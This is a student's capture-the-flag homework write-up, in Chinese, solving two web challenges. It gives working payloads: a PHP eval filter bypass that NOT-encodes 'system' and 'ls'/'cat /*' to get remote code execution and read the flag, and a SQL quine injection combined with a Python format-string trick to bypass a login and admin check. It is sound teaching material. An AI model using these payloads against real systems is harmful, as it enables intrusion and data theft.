hw5 Writeup

School/Grade: 交大資科工所 碩一 Student ID: 309551004 (王冠中) ID: aesophor

(#°д°) (175 pts)

- **Observation**
  - `$_GET['(#°д°)']` 的字串會被存入 `$😺`
  - 下列兩個檢查如果都通過，就會執行 `eval($😺);`

Check	Desc
`strlen($😺 = $_GET['(#°д°)']) < 0x20`	`$😺` 長度必須 < 32 chars
`!preg_match('/[a-z0-9]/i', $😺)`	`$😺` 不可包含大小寫英文字母、數字

- **Thoughts**

Bitwise Operators

Bitwise operators allow evaluation and manipulation of specific bits within an integer.

Bitwise Operators

Example	Name	Result
`$a & $b`	And	Bits that are set in both *$a* and *$b* are set.
`$a | $b`	Or (inclusive or)	Bits that are set in either *$a* or *$b* are set.
`$a ^ $b`	Xor (exclusive or)	Bits that are set in *$a* or *$b* but not both are set.
`~ $a`	Not	Bits that are set in *$a* are not set, and vice versa.
`$a << $b`	Shift left	Shift the bits of *$a* *$b* steps to the left (each step means "multiply by two")
`$a >> $b`	Shift right	Shift the bits of *$a* *$b* steps to the right (each step means "divide by two")

  - 我們可以用 bitwise not operator 把字串先做 not
  - 這樣就可以把我們的 payload 轉成 non-alphanumeric chars
  - 在 url 構造 payload 的時候，再用同樣方法做一次 not，就可轉回原本的 chars

- **Exploitation**

  i. 準備好把 payload 傳入 `$_GET['(#°д°)']` ：

  ```
  https://php.splitline.tw/?(#°д°)=
  ```

  ii. 但 `#` 不能直接傳進去，要先 encode 過：

  ```
  https://php.splitline.tw/?(%23°д°)=
  ```

  iii. 接著我們想辦法使得 url 變成下面這樣：

  ```
  https://php.splitline.tw/?(%23°д°)=('system')('ls');
  ```

  iv. 但 'system' 跟 'ls' 要先做 not，我們可以打開 terminal：

  ```
  $ php -a
  Interactive shell

  php > echo urlencode(~'system');
  %8C%86%8C%8B%9A%92
  php > echo urlencode(~'ls');
  %93%8C
  ```

  v. 新的 payload 如下：

  ```
  https://php.splitline.tw/?(%23°д°)=(%8C%86%8C%8B%9A%92)(%93%8C);
  ```

  vi. 最後再把 not 過後的 'system' 與 'ls' 做第二次 not，就可以達成 RCE

  ```
  https://php.splitline.tw/?(%23°д°)=(~%8C%86%8C%8B%9A%92)(~%93%8C);
  ```

  vii. 可以看到如下輸出（最後顯示出 index.php）

  ```
  <?=highlight_file(__FILE__)&&strlen($🐱=$_GET['(#°д°)'])<0x20
  &&!preg_match('/[a-z0-9`]/i',$🐱)&&@eval($🐱); index.php
  ```

- **Post Exploitation**

  ○ 執行 `ls /` 可以發現 flag 在 root directory

```
bin boot dev etc flag_GV99N6HuFj1kpkV45Dp7A6Usk5s5nLUY
home lib lib64 media mnt opt proc root
run sbin srv sys tmp usr var
```

- 執行 `cat /*` 可以讀出 flag content

```
FLAG{peeHpeeeeee(#°д°)!}
```

- Final Payload

```
https://php.splitline.tw/?(%23°д°)=
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%D5);
```

VISUAL BASIC 2077 (350 pts)

- **Observation**

  這題有兩關：

  i. user 在 HTML form 輸入的 username 必須等於 db 撈出來的 username
  ii. user 在 HTML form 輸入的 password 必須等於 db 撈出來的 password
  iii. session 裡面的 is_admin 必須等於 True（預設是 False）

- **Exploitation**

  這題用 SQL Quine 可以同時繞過 1、2 的檢查，第三個檢查可以用 {flag.flag} 繞過（因為 python format string 的緣故）。

  參考以下 SQL Quine 範例：

```
select printf(s,s)from(
select'select printf(s,s)from(select%Qas s);'as s);
```

  寫出以下 payload（username）：

```
123' and 0=1 union select printf(s,s), '123'
from(select'123'' and 0=1 union select printf(s,s),
''123'' from(select%Qas s)--{flag.flag}'as s)--{flag.flag}
```

password 輸入 123，即可拿到 Flag

```
FLAG{qu1n3_sq1_1nj3ct10nnn.__init__}
```